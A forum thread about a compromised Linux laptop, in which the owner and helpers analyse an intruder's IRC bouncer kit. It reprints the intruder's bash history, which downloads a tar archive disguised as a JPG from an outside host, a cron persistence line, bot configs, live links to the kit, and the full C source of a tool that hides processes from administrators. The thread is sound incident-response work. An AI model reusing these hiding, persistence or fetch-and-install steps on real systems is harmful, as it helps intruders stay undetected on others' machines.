Compromised linux box

PrzemoF

I need help with finding out what's that. Looks like my linuxbox has been compromised (probably weak password on a forgotten test user). I tried to remove the user today (I couldn't) and after some digging I found thed there is a httpd running using some trick [1] to hide itself. The .x directory contains something that looks strange...

I'll post more tomorrow, but looks like one of the parts is file muhnoucompilat.jpg. It's not jpg, it's a tar archive that contains the rogue software.

Mods, is it OK to post it here? I don't want to spread the problem, but I need help with analysing what if that.

This is probably the same file as this one: http://296832.s.dedikuoti.lt/.x/m/

Looks like the whole thing was set up to keep muh [2] running on something called undernet.

ANY help will be really appreciated!

[1] https://github.com/creaktive/psf
[2] http://muh.sourceforge.net/

AnCatDubh

Sorry for your trouble. Bummer

With it being compromised would it be a safer option to consider a wipe and set up from scratch. Likely to be a few hours work (i know, or more), but you'd be sure of a clean setup.

Would be useful/interesting when you get to the bottom of how it was compromised, if you could share its detail.

Also, the friendly folks on the security forum might offer advice or analysis.

Hope you get sorted soon enough.

[-0-]

Best option is to wipe it completely and reinstall fresh.

Can you do that? Do you need any files on the system?

PrzemoF

I'm going to wipe the system part, but I have to keep the /home dir. However there is only one user, so I'll copy the data and setup the rest from scratch.

Standard Toaster

Can you grab an image of the box before you blow it away for further analysis.

[-0-]

it's highly likely that /home could be compromised too.

PrzemoF

[-0-] wrote: »

it's highly likely that /home could be compromised too.

It was - the whole thing was running from /home/test/.x directory but I cannot afford wipe out /home. I just have to make sure it won't run again, so I have to find out first how the thing was being started.

I'm thinking about running wireshark with filter for some addresses and ports that I found in config files of that thing to make sure the damage was only on that laptop (I have some more devices in the same local network)

Skrynesaver

[-0-] wrote: »

it's highly likely that /home could be compromised too.

If you need the data on /home can it be mounted as a noexec partition on the upgraded system?

PrzemoF

Standard Toaster wrote: »

Can you grab an image of the box before you blow it away for further analysis.

The whole box might be tricky, but I'll try to do it. I already have the test user account tared. I'll do the same with /etc and /var.

mr kr0nik

There are probably easier options I'm not familiar with but VMware converter could create a VM image on the fly while its still running for safe import into workstation etc.

PrzemoF

Skrynesaver wrote: »

If you need the data on /home can it be mounted as a noexec partition on the upgraded system?

Thanks! Very good idea. I have to also check if selinux/apparmour are any good on ubuntu.

Standard Toaster

Later on have a look at something like Fail2ban. Might be useful if a ssh account was bruteforced. Any idea yet how they gained access? Selinux would have probably mitigated this but if they had root, game over.

I'd love to have a look =D

PrzemoF

Standard Toaster wrote: »

Later on have a look at something like Fail2ban. Might be useful if a ssh account was bruteforced. Any idea yet how they gained access? Selinux would have probably mitigated this but if they had root, game over.

I'd love to have a look =D

I have fail2ban on rpi in the same network - works great. I suspect it was a weak password on test user account. The laptop has a remote access (ssh, sftp, remote desktop) set up as well.

If you want to take look at the rogue software before deployment right now check the link in my original post. That jpg is a tar archive.

P.S. I suppose it's time to wipe out all ssh keys...

h57xiucj2z946q

PrzemoF, do you have a copy of the extracted tar on your server?

Its possible to find out the irc nick, channel and whatnot of the person using the irc bouncer. If logging is enabled, might reveal his IP.

Also your sshd logs should identify if your login was brute forced.

PrzemoF

I do, I have the nick, password and channel name, but I wasn't able to find out anything interesting yesterday. I'll post the details when I'm back home.

[-0-]

You can use strace on any rogue processes to see what they are doing, too.

Johnboy1951

This is the program that is on your install?

http://muh.sourceforge.net/

PrzemoF

Johnboy1951 wrote: »

This is the program that is on your install?

http://muh.sourceforge.net/

Yes, it's there as well

PrzemoF

Some juicy bits:
1. bash history:

w
uname -a
uptime
cat /proc/cpuinfo
w
ls
ls -a
mkdir .x
cd .x
ls
wget [url]http://www.cablecable.net/~mary/muhnoucompilat.jpg[/url]
tar zxvf muhnoucompilat.jpg
cd lib
cat servers
rm -rf servers
cat >> servers
./inst
cat muhrc
rm -rf muhrc
cat >> muhrc
./restart
ps x
cat servers
cd ..
ls
mkdir m
mv muhnoucompilat.jpg m
cd m
tar zxvf muhnoucompilat.jpg
cd lib
rm -rf servers
cat >> servers
./inst
ps x
kill -9 9591
passwd
w
ps x
ls
cd .x
ls
cd lib
ls
cat muhrc
./restart
cd ..
ls
cd m
cd lib
./restart

2. cron file that was keeping it alive:

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.d installed on Sun Dec  2 15:43:01 2012)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * /home/test/.x/m/lib/y >/dev/null 2>&1

3. one muhrc file:

nickname = "ro";
altnickname = "ro";
username = "kaskdsa";
realname = "aksdksa";
password = "skadksad";
listenport = a7772;
awayreason = "akskdsa";
servers {
      "LosAngeles.ca.US.Undernet.org":6667,
      "eu.undernet.org":6667,
      "US.Undernet.org":6667,
      "eu.undernet.org":6667,
      "Tampa.FL.US.Undernet.org":6667,
      "budapest.hu.eu.undernet.org":6667,

};
logging = false;
channels = "#targetmuh";
connectcmd = "PRIVMSG x@channels.undernet.org : login ";
away = "akskdsa";
norestricted = true;

4. another muhrc:

nickname = ".[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6cAnda";
altnickname = ".[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6c.[?6cAnda";
username = "Anduta";
realname = "Italy Anda";
password = "muie123a";
listenport = 7773;
awayreason = "i love u";
servers {
      "LosAngeles.ca.US.Undernet.org":6667,
      "eu.undernet.org":6667,
      "US.Undernet.org":6667,
      "eu.undernet.org":6667,
      "Tampa.FL.US.Undernet.org":6667,
      "budapest.hu.eu.undernet.org":6667,


};
logging = false;
channels = "#22.08";
connectcmd = "PRIVMSG x@channels.undernet.org : login ";
away = "i love u";
norestricted = true;

and /home/test/.x dircetory tared http://firszt.eu/boards/x.tar.gz
crontab is accesible for all users, so I don't know if he/she got root access.

Share your thoughts please and stay tuned - I'm digging in logs to find more

[-0-]

403 when trying to wget that tar archive, but you can get it from here: http://296832.s.dedikuoti.lt/.x/m/

I'm currently analyzing it.

[-0-]

echo ./h -s "/usr/sbin/httpd" ./init -d "$PWD" > run
echo ./h -s "/usr/sbin/httpd" ./init -d "$PWD"/2 > run2

./h is executing a binary which does the following:

/*

psf -- Process Stack Faker (a.k.a. ****er)
Coded by Stas; (C)opyLeft by SysD Destructive Labs, 1997-2003

Tested on: FreeBSD 4.3, Linux 2.4, NetBSD 1.5, Solaris 2.7

Compile with:
# gcc -O2 -o h h.c
# strip h

Did you ever need to *hide* what are you doing on somewhat like public
server? Like Quake server or maybe John The Ripper? 'Cos when your admin
run "ps auwx" or "top" and sees process like that, it's probable you'll
loose your shell on that server. So, what to do? Rootkit is a good solution
but you need root privilegies to install it and it's a bit overkill for
running an inoffensive eggdrop bot (belive me, I saw user installing rootkit
just to hide eggdrop!). Well, this little proggie does a job for you. It
*will not* erase some entry you wish to hide from process stack. It just
changes a commandline for "ps" entry ;)
This principle is widely used in many security-related programs. Nmap was
the first I saw. How does this technique works? Take a look at execv(3)
system call:
int execv( const char *path, char *const argv[]);

'path' is a path to executable file. And 'argv' array is... Well, it's
just the same 'argv' from:

int main(int argc, char *argv[])

where 'argv[0]' is a commandline and 'argv[1]' and higher are paramenters.
Normally 'argv[0]' receives the same value as 'path' from execv(3). But you
also can use other values! For example, when you run Nmap, it can execv(3)
itself with commandline changed to 'pine'. OK, commandline is gone. But what
to do with paramenters? Nmap uses environment to send paramenters user passed
to 'spoofed' process and ignores other paramenters. If you wish to spoof
'nmap -sS -vv -O -P0 -o lhost.log localhost' as 'pine -i', Nmap "remembers"
it's specific switches and re-execs itself as 'pine' with parameter '-i'.
Fine! But John The Ripper, Quake server & eggdrop can't fake parameters in
this way!!! What's the other way? Sorry, it's *very* dumb and *very* ugly...
What happens if you change commandline to something like:
'pine -i                                                            '
(Ya, 'pine -i' plus many space characters 0x20)? Hahah, "ps", "top" & many
other monitors just shift away *real* parameters! So, you don't hide them,
just shift away from screen. Such a "algorithm" doesn't needs neither rootkits, neither special privilegies! Any user can do that at any time!!! *That's* "psf"
does. Try this:

# psf -s "pine -i" sleep 30 &
[1] 440
# ps auwx
...
stas        84  0.0  0.6  2012 1232 pts/0    S    19:12   0:00 bash -rcfile .bas
hrc
stas       440  0.0  0.1  1204  376 tty2     S    20:09   0:00 pine -i

stas       450  0.0  0.4  2544  816 tty2     R    20:12   0:00 ps auwx
...

Hahahaah, that's what we need! Please note that commandline change isn't
immediate, just wait a little before it completes. But... Did you noticed
a white line between processes 440 & 450? Uhm, that's our "shift buffer".
Pray for your admin don't notice that! Anyway, they are many more problems
with parameter shifting. "top" program, for example, shows "command names"
instead of "command lines" by default. You see a file name instead of
'argv[0]' value. "psf" tries to fix that creating symlink with name of
faked commandline to real program (on previous example, it creates symlink
/tmp/.psf-xxxx/pine => /usr/bin/sleep). Note that it doesn't works on *BSD
systems (*BSD kernel (?) follows symlink and shows real filename anyway).
The ways to discover faked processes I know are:

 * kidding with top(1)
 * ps auwx --cols 1024
 * cat /proc/[pidn]/cmdline (Linux only)
 * whatever non-standart process stack monitors
 * looking open files with "lsof" program
 * if you use -d (daemonize) option, be careful!!! As any cool daemon should
   do, "psf" closes std(in,out,err). What your admin will think if he (she)
   sees "pine -i" with no parent and neither allocated TTY?!

Too many, don't you think? So, what's *THE BEST* way to hide processes?
Rootkit sounds well, but it's a bit complex to use, you know... So, IMHO,
you must get source of program you wish to hide and hardcode all parameters
inside executable... After that, rename it in whatever and let it go!
Of course you must program at least C/C++ to do such a trick. Now, if
you're glad with my quick & dirty solution called "psf", happy faking!!!

*/
#include <fcntl.h>
#include <pwd.h>
#include <grp.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <libgen.h>

#define VERSION         "0.03"
#define MAXPATH         256

char *fullpath(char *cmd)
{
        char *p, *q, *filename;
        struct stat st;

        if (*cmd == '/')
                return cmd;

        filename = (char *) malloc(MAXPATH);
        if  (*cmd == '.')
                if (getcwd(filename, MAXPATH - 1) != NULL)
                {
                        strncat(filename, "/", MAXPATH - 1);
                        strncat(filename, cmd, MAXPATH - 1);
                        return filename;
                }
                else
                        return NULL;

        for (p = q = (char *) getenv("PATH"); q != NULL; p = ++q)
        {
                if (q = (char *) strchr(q, ':'))
                        *q = (char) '\0';

                snprintf(filename, MAXPATH, "%s/%s", p, cmd);

                if (stat(filename, &st) != -1
                    && S_ISREG(st.st_mode)
                    && (st.st_mode&S_IXUSR || st.st_mode&S_IXGRP || st.st_mode&S
_IXOTH))
                        return filename;

                if (q == NULL)
                        break;
        }

        free(filename);
        return NULL;
}

int chownp (char *str)
{
        char user[MAXPATH], *group;
        struct passwd *pwd;
        struct group *grp;
        uid_t uid;
        gid_t gid;

        memset(user, '\0', sizeof(user));
        strncpy(user, str, sizeof(user));

        for (group = user; *group; group++)
                if (*group == ':')
                {
                        *group = '\0';
                        group++;
                        break;
                }
        
        if (pwd = getpwnam(user))
        {
                uid = pwd->pw_uid;
                gid = pwd->pw_gid;
        }
        else
                uid = (uid_t) atoi(user);

        if (*group)
                if (grp = getgrnam(group))
                        gid = grp->gr_gid;
                else
                        gid = (gid_t) atoi(group);


        if (setgid(gid))
        {
                perror("[err] can't set GID");
                return 0;
        }
        if (setuid(uid))
        {
                perror("[err] can't set UID");
                return 0;
        }

        return 1;
}

char *mytmp(void)
{
        char *tmp, *me = "/.psf-", *ret;
        struct passwd *p;
        
        if ((tmp = (char *) getenv("TMPDIR")) == NULL)
                tmp = P_tmpdir;

        if ((p = getpwuid(getuid())) == NULL)
        {
                perror("[err] username reteival");
                exit(-1);
        }
        
        ret = (char *) malloc (strlen(tmp) + sizeof(me) + strlen(p->pw_name) + 1
);
        *ret = '\0';
        strcat(ret, tmp);
        strcat(ret, me);
        strcat(ret, p->pw_name);
        
        return ret;
}

void usage(char *prog)
{
        printf("Process Stack Faker (a.k.a. ****er) v" VERSION "\n");
        printf("by Sebas & #RU TEAM\n\n");

        printf("Usage: %s [options] command arg1 arg2 ...\n", prog);
        printf("Where options can be:\n");
        printf("-s string\t"    "fake process name\n");
        printf("-p filename\t"  "file to write PID of spawned process - optional
\n");
        printf("-d\t\t"         "try to start as daemon (in background, no tty) 
- optional\n");
        printf("-l\t\t"         "DO NOT exec through link (detectable by 'top'!!
!) - optional\n");
        printf("-u uid[:gid]\t" "(format just like in chown(1)) reset UID/GID - optional\n");
        printf("-n priority\t"  "renice process - optional\n\n");
        
        printf("Example: %s -s \"pine -i\" -d -n 19 ./john -session:websrv\n", p
rog);
}

int main(int argc, char *argv[])
{
        char buf[MAXPATH], fake[MAXPATH], fakecomm[MAXPATH];
        char *tmp, *fp, *p, *myexec, o;
        char *spoof = NULL, *pidfile = NULL;
        char **newargv;
        int i, j, n, daemon = 0, link = 1;
        FILE *f;
        int null;

        // Check for our parameters
        for (i = 1; i < argc; i++)
        {
                if (argv[i][0] == '-')
                        switch (o = argv[i][1])
                        {
                                case 's': 
                                        spoof = argv[++i]; break;
                                case 'p':
                                        pidfile = argv[++i]; break;
                                case 'd':
                                        daemon = 1; break;
                                case 'l':
                                        link = 0; break;
                                case 'u':
                                        chownp(argv[++i]); break;
                                case 'n':
                                        nice(atoi(argv[++i])); break;

                                default:
                                        usage(argv[0]);
                                        fprintf(stderr, "\n * Don't understood o
ption -%c!\n", o);
                                        return -1;
                        }
                else
                        break;

        }

        // Is all OK?
        if (!(n = argc - i) || spoof == NULL)
        {
                usage(argv[0]);
                fprintf(stderr, "\n * Wrong usage!\n");
                return -1;
        }

        // Check for other's parameters
        newargv = (char **) malloc(n * sizeof(char **) + 1);
        for (j = 0; j < n; i++,j++)
                newargv[j] = argv[i];
        newargv[j] = NULL;

        if ((fp = fullpath(newargv[0])) == NULL)
        {
                perror("[err] full path seek");
                return -1;
        }
        
        // Now we'll make top happy linking wierd things...
        if (link)
        {
                tmp = mytmp();

                strncpy(buf, basename(spoof), strlen(spoof) + 1);
                for (p = buf; *p != '\0' && !isspace(*p); p++);
                *p = '\0';
                snprintf(fake, sizeof(fake), "%s/%s", tmp, buf);

                mkdir(tmp, 0700);       // try to create (see later if really cr
eated)
                remove(fake);           // reset any existing link
                if (symlink(fp, fake) == -1)
                {
                        perror("[err] link creation");
                        return -1;
                }
                
                myexec = fake;
        }
        else
                myexec = fp;

        if (n > 1)
       {
                // Build space-padded fake command
                memset(fakecomm, ' ', sizeof(fakecomm) - 1);
                fakecomm[sizeof(fakecomm) - 1] = '\0';
                strncpy(fakecomm, spoof, strlen(spoof));
                newargv[0] = fakecomm;
        }
        else
                newargv[0] = spoof;

        if (daemon)
        {
                if ((null = open("/dev/null", O_RDWR)) == -1)
                {
                        perror("[err] /dev/null");
                        return -1;
                }

                switch (fork())
                {
                        case -1:
                                perror("[err] fork1");
                                return -1;
                       case  0:
                                setsid();
                                switch (fork())
                                {
                                        case -1:
                                                perror("[err] fork2");
                                                return -1;
                                        case  0:
                                                // chdir("/");
                                                umask(0);

                                                // close standart IO
                                                close(0);
                                                close(1);
                                                close(2);

                                                // open'em as /dev/null
                                                dup2(null, 0);
                                                dup2(null, 1);
                                                dup2(null, 2);

                                                break;
                                        default:
                                                return 0;
                                }
                                break;
                        default:
                                return 0;
                }
        }

        // Save PID if user asked...
        if (pidfile != NULL && (f = fopen(pidfile, "wt")) != NULL)
        {
                fprintf(f, "%d\n", getpid());
                fclose(f);
        }

/****** Some code from UPX 1.20 ;) ******/
        // Fork off a subprocess to clean up.
        // We have to do this double-fork trick to keep a zombie from
        // hanging around if the spawned original program doesn't check for
        // subprocesses (as well as to prevent the real program from getting
        // confused about this subprocess it shouldn't have).
        // Thanks to Adam Ierymenko <api@one.net> for this solution.
        if (link && !fork())
        {
                if (fork() == 0)
                {
                        // Sleep 3 seconds, then remove the temp file.
                        static const struct timespec ts = { 3, 0 };
                        nanosleep(&ts, 0);

                        if (unlink(fake) == -1)
                                perror("[warn] can't erase symlink");
                        if (rmdir(tmp) == -1)
                                perror("[warn] can't remove tmpdir");
                }
                exit(0);
        }

        // Wait for the first fork()'d process to die.
        waitpid(-1, (int *)0, 0);
/****** Some code from UPX 1.20 ;) ******/
        
        // And now, execute it!
        execv(myexec, newargv);
 perror("[err] couldn't execute");
        return -1;
}

So this guy ran ./inst, which calls the following:
echo ./h -s "/usr/sbin/httpd" ./init -d "$PWD" > run
echo ./h -s "/usr/sbin/httpd" ./init -d "$PWD"/2 > run2

This is essentially making the "init" binary look like a web server. init looks like an irc bot of some sort. I'll load that into IDA Pro to see if I can figure it out. Stand by.

[-0-]

The init binary is basically the muh binary - the irc bouncer.

I've connected to the irc server and here is what I see:
21:36 [eu] -!- #targetmuh uZCIerkx H 3 ~kamsd@p508CD88A.dip0.t-ipconnect.de
[maksmda]
21:36 [eu] -!- #targetmuh _KqZLUeR H 3
~WOOF@hey38-1-78-231-176-207.fbx.proxad.net [WOOF
config f h h.c init inst muhrc restart server]
21:36 [eu] -!- #targetmuh target_ H 3 ~alx@212.25.95.235 [aLx ]
21:36 [eu] -!- #targetmuh restart_ H 3
~Vdjfie@pool-96-255-60-6.washdc.fios.verizon.net
[Xcvjnhf]
21:36 [eu] -!- #targetmuh target H 3
~Wkghjt@pool-96-255-60-6.washdc.fios.verizon.net
[YIdos]


21:38 [eu] -!- #22.08 ^DRmpJ[] H 3
~ksakda@p4FF92C52.dip0.t-ipconnect.de [dakskdsa]
21:38 [eu] -!- #22.08 vBVFxvql H 3
~Pantof@p4FE33163.dip0.t-ipconnect.de [Ovidiu zis
Pantoful]
21:38 [eu] -!- #22.08 dlpKIw^q H 3 ~wkkdis@81.208.32.226 [wow is a
dick!]

human 19

Just partition your disk, install a new main distro onto it and then you can just use that to copy what you need from your current home directory (after scanning the files) .

You wouldnt need to boot into your current distro again

syklops

Is it just me or has the password been changed?

PrzemoF

syklops wrote: »

Is it just me or has the password been changed?

Yes, it was changed as far as I can tell.

UCDVet

Gah - I thought Linux was secure out of the box. Is there a checklist or something I can run through to see if I'm vulnerable to similar problems?

PrzemoF

UCDVet wrote: »

Gah - I thought Linux was secure out of the box. Is there a checklist or something I can run through to see if I'm vulnerable to similar problems?

Linux is secure. I was my mistake - I was testing something on the system with a silly username (like test) and similar password and I forgot to remove it after the test. I have a raspberry pi (raspbian) set up as a server and I can see hundreds attempts to break in (brute force, scanning for setup files on wordpress, joomla and other installations and so on) and no one managed to break in as far as I can tell.

Grudaire

@UCDVet - also it's worth noting that remote access is not automatically enabled in your standard desktop..

Setun

PrzemoF wrote: »

Linux is secure. I was my mistake - I was testing something on the system with a silly username (like test) and similar password and I forgot to remove it after the test. I have a raspberry pi (raspbian) set up as a server and I can see hundreds attempts to break in (brute force, scanning for setup files on wordpress, joomla and other installations and so on) and no one managed to break in as far as I can tell.

Just out of interest - how did you figure out the box was compromised?

PrzemoF

I think I tried to get rid of that test user and I could not remove the .x directory from /home/test. There was a httpd process running from it. I could bet a lot I didn't install httpd on that box, but there is always a chance that I forgot something. I killed httpd and tried to remove the .x again, but the httpd was back. That was too much for me, so I started to dig deeper what is in the .x directory and why httpd came back after I killed it.

hooplah

PrzemoF wrote: »

Linux is secure. I was my mistake - I was testing something on the system with a silly username (like test) and similar password and I forgot to remove it after the test. I have a raspberry pi (raspbian) set up as a server and I can see hundreds attempts to break in (brute force, scanning for setup files on wordpress, joomla and other installations and so on) and no one managed to break in as far as I can tell.

I'm using xbian at the moment for sickbeard, torrents and xmbc. I was thinking about opening it up so that I could add to it from outside the house / use it as a vpn.

What would you advise for allowing external access securely?

PrzemoF

hooplah wrote: »

I'm using xbian at the moment for sickbeard, torrents and xmbc. I was thinking about opening it up so that I could add to it from outside the house / use it as a vpn.

What would you advise for allowing external access securely?

check fail2ban

bnt

Is it not possible to boot in to a "recovery" mode (CLI only), and nuke that test account and /home/test ?

Another way could be to drop to single user mode first, so that only root processes are running: log in as root, use the "init 1" command at a console shell (not under a GUI). Delete the account and directory, then "reboot".
(it has been a long time since I tried this, so I can't vouch for how it will work in your case!)

PrzemoF

bnt wrote: »

Is it not possible to boot in to a "recovery" mode (CLI only), and nuke that test account and /home/test ?

Another way could be to drop to single user mode first, so that only root processes are running: log in as root, use the "init 1" command at a console shell (not under a GUI). Delete the account and directory, then "reboot".
(it has been a long time since I tried this, so I can't vouch for how it will work in your case!)

Thanks, but the problem had been solved on the spot. I just copied the content of .x for further investigation and used (pseudocode):

kill (pidof httpd) & remove /home/test/.x

so before httpd was respawned the directory was gone.